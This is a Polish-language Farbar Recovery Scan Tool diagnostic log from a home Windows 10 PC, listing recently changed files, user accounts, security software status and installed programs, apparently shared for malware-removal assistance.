2020-07-10 21:58 - 2020-07-07 17:45 - 001569688 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvFBC.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 001486736 _____ (NVIDIA Corporation) C:\Windows\system32\NvIFR64.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 001146256 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvIFR.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 001017744 _____ (NVIDIA Corporation) C:\Windows\system32\nvml.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 000816360 _____ (NVIDIA Corporation) C:\Windows\system32\nvmcumd.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 000812440 _____ (NVIDIA Corporation) C:\Windows\system32\nvEncodeAPI64.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 000670608 _____ (NVIDIA Corporation) C:\Windows\system32\NvIFROpenGL.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 000581864 _____ (NVIDIA Corporation) C:\Windows\system32\nvidia-smi.exe
2020-07-10 21:58 - 2020-07-07 17:45 - 000555920 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\NvIFROpenGL.dll
2020-07-10 21:58 - 2020-07-07 17:45 - 000444824 _____ (NVIDIA Corporation) C:\Windows\system32\nvdebugdump.exe
2020-07-10 21:58 - 2020-07-07 17:44 - 004716176 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvapi.dll
2020-07-10 21:58 - 2020-07-07 17:44 - 000849648 _____ (NVIDIA Corporation) C:\Windows\system32\MCU.exe
2020-07-10 21:58 - 2020-07-06 02:40 - 000078796 _____ C:\Windows\system32\nvinfo.pb

==================== Jeden miesiąc (zmodyfikowane) ==================

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2020-08-07 01:09 - 2020-04-13 18:54 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\TS3Client
2020-08-07 01:09 - 2020-04-13 18:53 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\discord
2020-08-07 01:05 - 2020-04-13 18:15 - 001628780 _____ C:\Windows\system32\PerfStringBackup.INI
2020-08-07 01:05 - 2019-03-19 14:24 - 000707664 _____ C:\Windows\system32\perfh015.dat
2020-08-07 01:05 - 2019-03-19 14:24 - 000138926 _____ C:\Windows\system32\perfc015.dat
2020-08-07 01:05 - 2019-03-19 06:50 - 000000000 ____D C:\Windows\INF
2020-08-07 01:03 - 2020-05-13 10:56 - 000000000 ____D C:\ProgramData\NVIDIA
2020-08-07 01:02 - 2020-04-14 00:15 - 000000000 ____D C:\Program Files (x86)\Steam
2020-08-07 01:02 - 2020-04-13 19:01 - 000000000 ____D C:\Users\Oliwer\AppData\Local\D3DSCache
2020-08-07 01:02 - 2020-04-13 18:13 - 000000000 ___RD C:\Users\Oliwer\OneDrive
2020-08-07 01:01 - 2020-04-13 18:20 - 000000000 ____D C:\Intel
2020-08-07 01:01 - 2020-04-13 18:09 - 000000006 ____H C:\Windows\Tasks\SA.DAT
2020-08-07 01:01 - 2019-03-19 06:52 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2020-08-07 01:01 - 2019-03-19 06:37 - 000524288 _____ C:\Windows\system32\config\BBI
2020-08-07 01:01 - 2019-03-19 06:37 - 000000000 ____D C:\Windows\CbsTemp
2020-08-07 00:57 - 2019-03-19 06:37 - 000000000 ____D C:\Windows\servicing
2020-08-07 00:51 - 2020-04-13 18:09 - 000000000 ____D C:\Windows\system32\SleepStudy
2020-08-06 23:40 - 2020-05-10 11:26 - 000000128 _____ C:\Users\Oliwer\AppData\Local\PUTTY.RND
2020-08-06 23:39 - 2020-05-10 11:22 - 000000128 _____ C:\Users\Oliwer\AppData\Roaming\winscp.rnd
2020-08-06 23:39 - 2020-04-14 20:07 - 000000000 ____D C:\Users\Oliwer\AppData\Local\CrashDumps
2020-08-06 19:25 - 2020-04-13 18:53 - 000002234 _____ C:\Users\Oliwer\Desktop\Discord.lnk
2020-08-06 19:25 - 2020-04-13 18:53 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Discord Inc
2020-08-06 19:25 - 2020-04-13 18:53 - 000000000 ____D C:\Users\Oliwer\AppData\Local\Discord
2020-08-06 17:16 - 2020-04-13 19:46 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\.minecraft
2020-08-06 14:50 - 2020-04-13 18:11 - 000000000 ____D C:\Windows\minidump
2020-08-06 11:31 - 2020-04-27 21:01 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java
2020-08-06 11:31 - 2020-04-27 21:01 - 000000000 ____D C:\Program Files\Java
2020-08-06 11:30 - 2020-04-27 21:01 - 000193704 _____ (Oracle Corporation) C:\Windows\system32\WindowsAccessBridge-64.dll
2020-08-06 11:29 - 2020-04-13 18:11 - 000000000 ____D C:\Users\Oliwer
2020-08-06 11:26 - 2020-05-22 13:06 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Razer
2020-08-06 11:26 - 2020-05-22 13:05 - 000000000 ____D C:\Program Files (x86)\Razer Chroma SDK
2020-08-06 01:41 - 2020-05-13 21:23 - 000000000 ____D C:\Users\Oliwer\.gimp-2.8
2020-08-06 00:30 - 2020-05-09 10:24 - 000000000 ____D C:\Users\Oliwer\AppData\Local\FiveM
2020-08-06 00:07 - 2019-03-19 06:52 - 000000000 ____D C:\Windows\AppReadiness
2020-08-06 00:02 - 2019-03-19 06:52 - 000000000 ___HD C:\Program Files\WindowsApps
2020-08-04 22:12 - 2020-04-13 18:16 - 000000000 ____D C:\ProgramData\Package Cache
2020-08-04 21:39 - 2020-05-08 22:38 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\obs-studio
2020-08-04 01:31 - 2020-05-09 10:30 - 000000000 ____D C:\Users\Oliwer\AppData\Local\DigitalEntitlements
2020-08-02 23:54 - 2020-07-06 22:54 - 001523640 _____ (Microsoft Corporation) C:\Windows\system32\xgameruntime.dll
2020-08-02 23:54 - 2020-07-06 22:54 - 000157624 _____ (Microsoft Corporation) C:\Windows\system32\gameconfighelper.dll
2020-08-02 23:54 - 2020-07-06 22:54 - 000137144 _____ (Microsoft Corporation) C:\Windows\system32\gameplatformservices.dll
2020-08-02 23:54 - 2020-07-06 22:54 - 000135096 _____ (Microsoft Corporation) C:\Windows\system32\gamingservicesproxy.dll
2020-08-02 23:54 - 2020-07-06 22:54 - 000090624 _____ (Microsoft Corporation) C:\Windows\system32\gamingtcuihelpers.dll
2020-08-02 23:54 - 2020-07-06 22:54 - 000033712 _____ (Microsoft Corporation) C:\Windows\system32\gamemodcontrol.exe
2020-08-02 21:31 - 2020-06-05 00:13 - 000002448 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk
2020-08-02 01:24 - 2020-04-17 22:27 - 000000000 ____D C:\Program Files\Cheat Engine 7.0
2020-08-02 01:21 - 2019-03-19 06:52 - 000000000 ___HD C:\Windows\ELAMBKUP
2020-08-01 11:01 - 2020-05-01 23:35 - 000001510 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Intel Driver & Support Assistant.lnk
2020-08-01 00:15 - 2020-04-13 18:12 - 000000000 ____D C:\Users\Oliwer\AppData\Local\Packages
2020-07-31 21:45 - 2020-04-13 18:12 - 000000000 ____D C:\Users\Oliwer\AppData\Local\VirtualStore
2020-07-31 19:22 - 2020-04-30 13:05 - 000000000 ____D C:\Users\Oliwer\Documents\My Games
2020-07-30 22:33 - 2020-04-13 18:13 - 000003374 _____ C:\Windows\system32\Tasks\OneDrive Standalone Update Task-S-1-5-21-1642851741-75968240-96692541-1001
2020-07-30 22:33 - 2020-04-13 18:11 - 000002362 _____ C:\Users\Oliwer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2020-07-30 12:49 - 2020-05-09 01:51 - 000000000 ___RD C:\Users\Oliwer\Desktop\Wszystko
2020-07-30 12:41 - 2020-04-13 18:14 - 000000000 ____D C:\Users\Oliwer\AppData\Local\PlaceholderTileLogoFolder
2020-07-30 02:40 - 2020-04-15 13:50 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\audacity
2020-07-30 01:30 - 2020-05-22 13:06 - 000000000 ____D C:\Users\Oliwer\AppData\Local\Razer
2020-07-29 23:16 - 2020-05-07 12:01 - 000002307 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2020-07-29 23:16 - 2020-05-07 12:01 - 000002266 _____ C:\Users\Public\Desktop\Google Chrome.lnk
2020-07-29 13:15 - 2020-04-13 18:42 - 000000000 ____D C:\Program Files (x86)\Intel
2020-07-25 14:01 - 2020-05-13 21:25 - 000000000 ____D C:\Users\Oliwer\AppData\Local\gtk-2.0
2020-07-22 23:22 - 2020-05-01 23:35 - 000003762 _____ C:\Windows\system32\Tasks\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132
2020-07-22 23:22 - 2020-05-01 23:35 - 000003528 _____ C:\Windows\system32\Tasks\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132-Logon
2020-07-22 14:47 - 2020-04-13 18:53 - 000000000 ____D C:\Users\Oliwer\AppData\Local\SquirrelTemp
2020-07-22 03:30 - 2020-05-16 00:49 - 000000000 ____D C:\Users\Oliwer\AppData\Roaming\GG
2020-07-22 03:30 - 2020-05-16 00:49 - 000000000 ____D C:\Users\Oliwer\AppData\Local\GG
2020-07-16 13:43 - 2020-04-14 00:11 - 000000000 ____D C:\Riot Games
2020-07-16 13:43 - 2020-04-14 00:11 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Riot Games
2020-07-16 12:45 - 2020-04-14 00:11 - 000000000 ____D C:\Users\Oliwer\AppData\Local\Riot Games
2020-07-16 12:36 - 2020-04-13 18:12 - 000000000 __RHD C:\Users\Public\AccountPictures
2020-07-16 12:36 - 2020-04-13 18:12 - 000000000 ___RD C:\Users\Oliwer\3D Objects
2020-07-16 12:36 - 2020-04-13 18:09 - 000359072 _____ C:\Windows\system32\FNTCACHE.DAT
2020-07-16 03:01 - 2019-03-19 06:52 - 000000000 ___SD C:\Windows\system32\DiagSvcs
2020-07-16 03:01 - 2019-03-19 06:52 - 000000000 ____D C:\Windows\SystemResources
2020-07-16 03:01 - 2019-03-19 06:52 - 000000000 ____D C:\Windows\system32\oobe
2020-07-16 03:01 - 2019-03-19 06:52 - 000000000 ____D C:\Windows\ShellExperiences
2020-07-16 03:01 - 2019-03-19 06:52 - 000000000 ____D C:\Windows\bcastdvr
2020-07-16 03:01 - 2019-03-19 06:52 - 000000000 ____D C:\Program Files\Common Files\System
2020-07-13 23:33 - 2020-06-23 19:41 - 000000000 ____D C:\Program Files (x86)\AnyDesk
2020-07-12 10:25 - 2020-06-05 00:13 - 000003508 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA
2020-07-12 10:25 - 2020-06-05 00:13 - 000003384 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore
2020-07-11 17:59 - 2020-05-13 10:56 - 000000000 ____D C:\ProgramData\NVIDIA Corporation
2020-07-11 17:59 - 2020-05-13 10:56 - 000000000 ____D C:\Program Files (x86)\NVIDIA Corporation
2020-07-11 17:59 - 2020-05-13 10:54 - 000000000 ____D C:\Program Files\NVIDIA Corporation
2020-07-11 17:59 - 2020-05-06 15:06 - 000004308 _____ C:\Windows\system32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-11 17:59 - 2020-05-06 15:06 - 000004106 _____ C:\Windows\system32\Tasks\NvBatteryBoostCheckOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-11 17:59 - 2020-05-06 15:06 - 000003976 _____ C:\Windows\system32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-11 17:59 - 2020-05-06 15:06 - 000003940 _____ C:\Windows\system32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-11 17:59 - 2020-05-06 15:06 - 000003894 _____ C:\Windows\system32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-11 17:59 - 2020-05-06 15:06 - 000003858 _____ C:\Windows\system32\Tasks\NvTmRep_CrashReport4_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-11 17:59 - 2020-05-06 15:06 - 000003858 _____ C:\Windows\system32\Tasks\NvTmRep_CrashReport3_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-11 17:59 - 2020-05-06 15:06 - 000003858 _____ C:\Windows\system32\Tasks\NvTmRep_CrashReport2_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-11 17:59 - 2020-05-06 15:06 - 000003858 _____ C:\Windows\system32\Tasks\NvTmRep_CrashReport1_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-11 17:59 - 2020-05-06 15:06 - 000003654 _____ C:\Windows\system32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2020-07-10 22:24 - 2020-05-13 10:56 - 000000000 ____D C:\Users\Oliwer\AppData\Local\NVIDIA
2020-07-08 05:45 - 2020-05-13 10:55 - 000222112 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvhda64v.sys
2020-07-08 01:12 - 2020-04-14 19:48 - 000017681 _____ C:\ProgramData\NVDisplay.ContainerLocalSystem.log_backup1
2020-07-08 01:12 - 2020-04-14 19:48 - 000017600 _____ C:\ProgramData\NVDisplayContainerWatchdog.log_backup1
2020-07-08 01:12 - 2020-04-14 19:48 - 000011771 _____ C:\ProgramData\DisplaySessionContainer1.log_backup1

==================== Pliki w katalogu głównym wybranych folderów ========

2020-05-10 11:22 - 2020-08-06 23:39 - 000000128 _____ () C:\Users\Oliwer\AppData\Roaming\winscp.rnd
2020-05-10 11:26 - 2020-08-06 23:40 - 000000128 _____ () C:\Users\Oliwer\AppData\Local\PUTTY.RND
2020-07-31 12:13 - 2020-07-31 12:13 - 000005813 _____ () C:\Users\Oliwer\AppData\Local\recently-used.xbel
2020-04-22 11:25 - 2020-04-22 11:25 - 000000003 _____ () C:\Users\Oliwer\AppData\Local\updater.log
2020-04-22 11:25 - 2020-04-22 11:25 - 000000424 _____ () C:\Users\Oliwer\AppData\Local\UserProducts.xml

==================== SigCheck ============================

(Brak automatycznej naprawy dla plików które nie przeszły weryfikacji.)

==================== Koniec  FRST.txt ========================

Addition:
Rezultaty skanu uzupełniającego Farbar Recovery Scan Tool (x64) Wersja: 05-08-2020
Uruchomiony przez Oliwer (07-08-2020 01:09:21)
Uruchomiony z C:\Users\Oliwer\Downloads
Windows 10 Pro Wersja 1909 18363.959 (X64) (2020-04-13 16:11:08)
Tryb startu: Normal
==========================================================


==================== Konta użytkowników: =============================

Administrator (S-1-5-21-1642851741-75968240-96692541-500 - Administrator - Disabled)
Gość (S-1-5-21-1642851741-75968240-96692541-501 - Limited - Disabled)
Konto domyślne (S-1-5-21-1642851741-75968240-96692541-503 - Limited - Disabled)
Oliwer (S-1-5-21-1642851741-75968240-96692541-1001 - Administrator - Enabled) => C:\Users\Oliwer
WDAGUtilityAccount (S-1-5-21-1642851741-75968240-96692541-504 - Limited - Disabled)

==================== Centrum zabezpieczeń ========================

(Załączenie wejścia w fixlist spowoduje jego usunięcie.)

AV: ZoneAlarm Extreme Security Antivirus (Enabled - Up to date) {1947BAEA-75D2-7D68-8F78-84241FBC7C90}
AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: Malwarebytes (Enabled - Up to date) {23007AD3-69FE-687C-2629-D584AFFAF72B}
AV: ESET Security (Enabled - Up to date) {885D845F-AF19-0124-FECE-FFF49D00F440}
FW: ZoneAlarm Extreme Security Firewall (Enabled) {217C3BCF-3FBD-7C30-A427-2D11E16F3BEB}

==================== Zainstalowane programy ======================

(W fixlist dozwolone tylko załączanie programów adware z flagą "Hidden" w celu ich uwidocznienia. Programy adware powinny zostać w poprawny sposób odinstalowane.)

Advanced BAT to EXE Converter v4.11 (HKLM-x32\...\Advanced BAT to EXE Converter v4.11) (Version:  - )
AnyDesk (HKLM-x32\...\AnyDesk) (Version: ad 5.5.3 - philandro Software GmbH)
Audacity 2.3.3 (HKLM-x32\...\Audacity_is1) (Version: 2.3.3 - Audacity Team)
Bully: Scholarship Edition (HKLM-x32\...\Bully: Scholarship Edition) (Version: 1.0.0.19 - Rockstar Games)
Bully: Scholarship Edition PL wersja 1.0 (HKLM-x32\...\{6EA2AC30-30E8-44AE-A690-04C9B9D2A179}_is1) (Version: 1.0 - BDIP.pl)
Cheat Engine 7.0 (HKLM\...\Cheat Engine 7.0_is1) (Version:  - Cheat Engine)
CPUID HWMonitor 1.41 (HKLM\...\CPUID HWMonitor_is1) (Version: 1.41 - CPUID, Inc.)
Discord (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Discord) (Version: 0.0.307 - Discord Inc.)
Documentation Manager (HKLM\...\{59C2C057-0051-48B0-8570-75E21B5BBAE1}) (Version: 21.90.3.2 - Intel Corporation) Hidden
Dynamic Application Loader Host Interface Service (HKLM\...\{D492644D-815B-48F6-B079-6E1FE92FCFDE}) (Version: 1.0.0.0 - Intel Corporation) Hidden
e2eSoft VSC 2.0 (HKLM-x32\...\VSC_is1) (Version: 2.0 - e2eSoft)
Epic Games Launcher (HKLM-x32\...\{0EE6DDEF-E36B-45EB-9E03-5A266EC8A8F8}) (Version: 1.1.279.0 - Epic Games, Inc.)
Epic Games Launcher Prerequisites (x64) (HKLM\...\{F9C5C994-F6B9-4D75-B3E7-AD01B84073E9}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden
ESET Security (HKLM\...\{000F877D-3C80-464E-999B-86AE42B48FD8}) (Version: 13.2.16.0 - ESET, spol. s r.o.)
FACEIT Anti-Cheat (HKLM\...\{1419E44C-0EF4-4822-9194-9F1A4D43973D}_is1) (Version: 2.0 - FACEIT LTD)
FaceRig Virtual Video driver version 1.0.1.1000 (HKLM-x32\...\{7D6A1A0F-F57E-4C6B-9331-86CBC7D5C787}_is1) (Version: 1.0.1.1000 - Adoriasoft LLC)
FiveM (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\CitizenFX_FiveM) (Version:  - The CitizenFX Collective)
GameInput Redistributable (HKLM-x32\...\{6710BAE4-C559-9D3C-DADB-464879F18148}) (Version: 10.1.19041.3225 - Microsoft Corporation)
GIMP 2.8.22 (HKLM\...\GIMP-2_is1) (Version: 2.8.22 - The GIMP Team)
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 84.0.4147.105 - Google LLC)
Google Update Helper (HKLM-x32\...\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}) (Version: 1.3.35.451 - Google LLC) Hidden
Grand Theft Auto V (HKLM-x32\...\{5EFC6C07-6B87-43FC-9524-F9E967241741}) (Version: 1.0.1868.1 - Rockstar Games)
Guild Wars 2 (HKLM\...\Guild Wars 2) (Version:  - NCsoft Corporation, Ltd.)
Hot CPU Tester Pro 4.4.1 (HKLM-x32\...\{5A39D5C2-A28B-421D-925A-0390FD1E5529}_is1) (Version: 4.4 LE - 7Byte Computers)
Hyper Scape (HKLM-x32\...\Uplay Install 11957) (Version:  - Ubisoft)
Intel Driver && Support Assistant (HKLM-x32\...\{4752D5B7-5943-4607-97E3-683A534A7660}) (Version: 20.8.30.6 - Intel) Hidden
Intel Processor Diagnostic Tool 64bit (HKLM-x32\...\{d23ef847-2a5d-49ad-a6b5-7ffc8f255179}) (Version: 4.1.4.36 - )
Intel(R) Computing Improvement Program (HKLM\...\{44C40B2E-7285-4A9F-A9BC-DF433772AAEE}) (Version: 2.4.05929 - Intel Corporation)
Intel(R) Graphics Driver Software (HKLM-x32\...\{6ad2f601-ab5f-47d5-bd6c-ef13a37b3a62}) (Version: 3.11.1.0 - Intel) Hidden
Intel(R) Graphics Driver Software (HKLM-x32\...\{d2843be8-a475-45ad-a151-dc20a9696584}) (Version: 3.11.1.0 - Intel) Hidden
Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 1946.12.0.1328 - Intel Corporation)
Intel(R) Network Connections 25.0.0.0 (HKLM\...\PROSetDX) (Version: 25.0.0.0 - Intel)
Intel(R) Trusted Connect Service Client x86 (HKLM-x32\...\{C9552825-7BF2-4344-BA91-D3CD46F4C441}) (Version: 1.52.230.1 - Intel Corporation) Hidden
Intel(R) Trusted Connect Services Client (HKLM-x32\...\{c6de84fd-ece7-4c2a-9f06-8cabe7ab79a0}) (Version: 1.52.230.1 - Intel Corporation) Hidden
Intel(R) Wireless Bluetooth(R) (HKLM-x32\...\{00002090-0210-1045-84C8-B8D95FA3C8C3}) (Version: 21.90.2.1 - Intel Corporation)
Intel® Driver & Support Assistant (HKLM-x32\...\{011c7b89-9b3e-4b2a-8cbc-633ef3c1e10c}) (Version: 20.8.30.6 - Intel)
Intel® Hardware Accelerated Execution Manager (HKLM\...\{7563302D-BD6B-4153-BA7D-3E3432E7C22D}) (Version: 7.5.6 - Intel Corporation)
Intel® Optane™ Pinning Explorer Extensions (HKLM\...\{4487026C-A32C-4FF5-858E-8DB890814949}) (Version: 17.8.0.1065 - Intel Corporation)
Intel® Software Installer (HKLM-x32\...\{4ac3b686-ca29-4a13-a973-06a4d4dd09e6}) (Version: 21.90.3.2 - Intel Corporation) Hidden
Java 8 Update 261 (64-bit) (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F64180261F0}) (Version: 8.0.2610.12 - Oracle Corporation)
Launcher Prerequisites (x64) (HKLM-x32\...\{43a03b9c-4770-409c-a999-587b60700b63}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden
Launcher Prerequisites (x64) (HKLM-x32\...\{c6c5a357-c7ca-4a5f-9789-3bb1af579253}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden
League of Legends (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Riot Game league_of_legends.live) (Version:  - Riot Games, Inc)
Lightshot-5.5.0.4 (HKLM-x32\...\{30A5B3C9-2084-4063-A32A-628A98DE512B}_is1) (Version: 5.5.0.4 - Skillbrains)
Logitech Capture (HKLM\...\Capture) (Version: 2.00.226 - Logitech)
Malwarebytes version 4.1.2.73 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 4.1.2.73 - Malwarebytes)
Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 84.0.522.52 - Microsoft Corporation)
Microsoft Edge Update (HKLM-x32\...\Microsoft Edge Update) (Version: 1.3.133.5 - )
Microsoft Office 2010 dla Użytkowników Domowych i Małych Firm (HKLM\...\Office14.SingleImage) (Version: 14.0.7015.1000 - Microsoft Corporation)
Microsoft OneDrive (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\OneDriveSetup.exe) (Version: 20.124.0621.0006 - Microsoft Corporation)
Microsoft Teams (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Teams) (Version: 1.3.00.13565 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.60610 (HKLM-x32\...\{a1909659-0a08-4554-8af1-2175904903a1}) (Version: 11.0.60610.1 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{8e24fb65-31aa-446d-9c3e-35c5e11cb367}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 (HKLM-x32\...\{6913e92a-b64e-41c9-a5e6-cef39207fe89}) (Version: 14.25.28508.3 - Microsoft Corporation)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.24.28127 (HKLM-x32\...\{e31cb1a4-76b5-46a5-a084-3fa419e82201}) (Version: 14.24.28127.4 - Microsoft Corporation)
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\...\Microsoft Visual Studio 2010 Tools for Office Runtime (x64)) (Version: 10.0.50903 - Microsoft Corporation)
Microsoft XNA Framework Redistributable 4.0 (HKLM-x32\...\{2BFC7AA0-544C-4E3A-8796-67F3BE655BE9}) (Version: 4.0.20823.0 - Microsoft Corporation)
Minecraft Dungeons Launcher (HKLM-x32\...\{AA2F8964-5160-4BAF-BB0B-004230044394}) (Version: 1.0.0.0 - Mojang)
Minecraft Launcher (HKLM-x32\...\{E15F69FA-660D-45CC-B28F-6CBC4CAD2091}) (Version: 1.0.0.0 - Mojang)
Node.js (HKLM\...\{36AAFE4E-38A2-4721-86FC-4A700EEFDE08}) (Version: 12.18.1 - Node.js Foundation)
Notepad++ (64-bit x64) (HKLM\...\Notepad++) (Version: 7.8.6 - Notepad++ Team)
Npcap (HKLM-x32\...\NpcapInst) (Version: 0.9991 - Nmap Project)
NVAPI Monitor plugin for NvContainer (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_NvContainer.NvapiMonitor) (Version: 1.27 - NVIDIA Corporation) Hidden
NVIDIA GeForce Experience 3.20.4.14 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.20.4.14 - NVIDIA Corporation)
NVIDIA Graphics Driver 451.67 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 451.67 - NVIDIA Corporation)
NVIDIA HD Audio Driver 1.3.38.34 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.38.34 - NVIDIA Corporation)
NVIDIA Oprogramowanie systemu PhysX 9.19.0218 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.19.0218 - NVIDIA Corporation)
NVIDIA USBC Driver 1.42.831.832 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_USBC) (Version: 1.42.831.832 - NVIDIA Corporation)
NvModuleTracker (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_NvModuleTracker.Driver) (Version: 6.14.24033.38719 - NVIDIA Corporation) Hidden
OBS Studio (HKLM-x32\...\OBS Studio) (Version: 25.0.8 - OBS Project)
Opera GX Stable 68.0.3618.112 (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Opera GX 68.0.3618.112) (Version: 68.0.3618.112 - Opera Software)
Oprogramowanie Intel® PROSet/Wireless (HKLM-x32\...\{a2caa706-dce2-4c91-8d46-b52a3c260b20}) (Version: 21.10.1 - Intel Corporation)
Oprogramowanie mikroukładu Intel® (HKLM-x32\...\{c4a581e8-a702-448c-80c7-4b6192985db2}) (Version: 10.1.18228.8176 - Intel(R) Corporation)
Pivot Animator version 4.2.8 (HKLM-x32\...\Pivot Animator_is1) (Version: 4.2.8 - Motus Software Ltd)
Polski pakiet językowy dla narzędzi Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\...\Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - PLK) (Version: 10.0.50903 - Microsoft Corporation)
PuTTY release 0.73 (64-bit) (HKLM\...\{44F7642C-AB7E-4468-B028-E8D08A0CBB0E}) (Version: 0.73.0.0 - Simon Tatham)
Python 3.8.5 (32-bit) (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\{44a59e57-34e2-4d86-93ba-a2588bfac760}) (Version: 3.8.5150.0 - Python Software Foundation)
Python 3.8.5 Add to Path (32-bit) (HKLM-x32\...\{2D01141A-8022-4100-B256-02EFB0F1830B}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
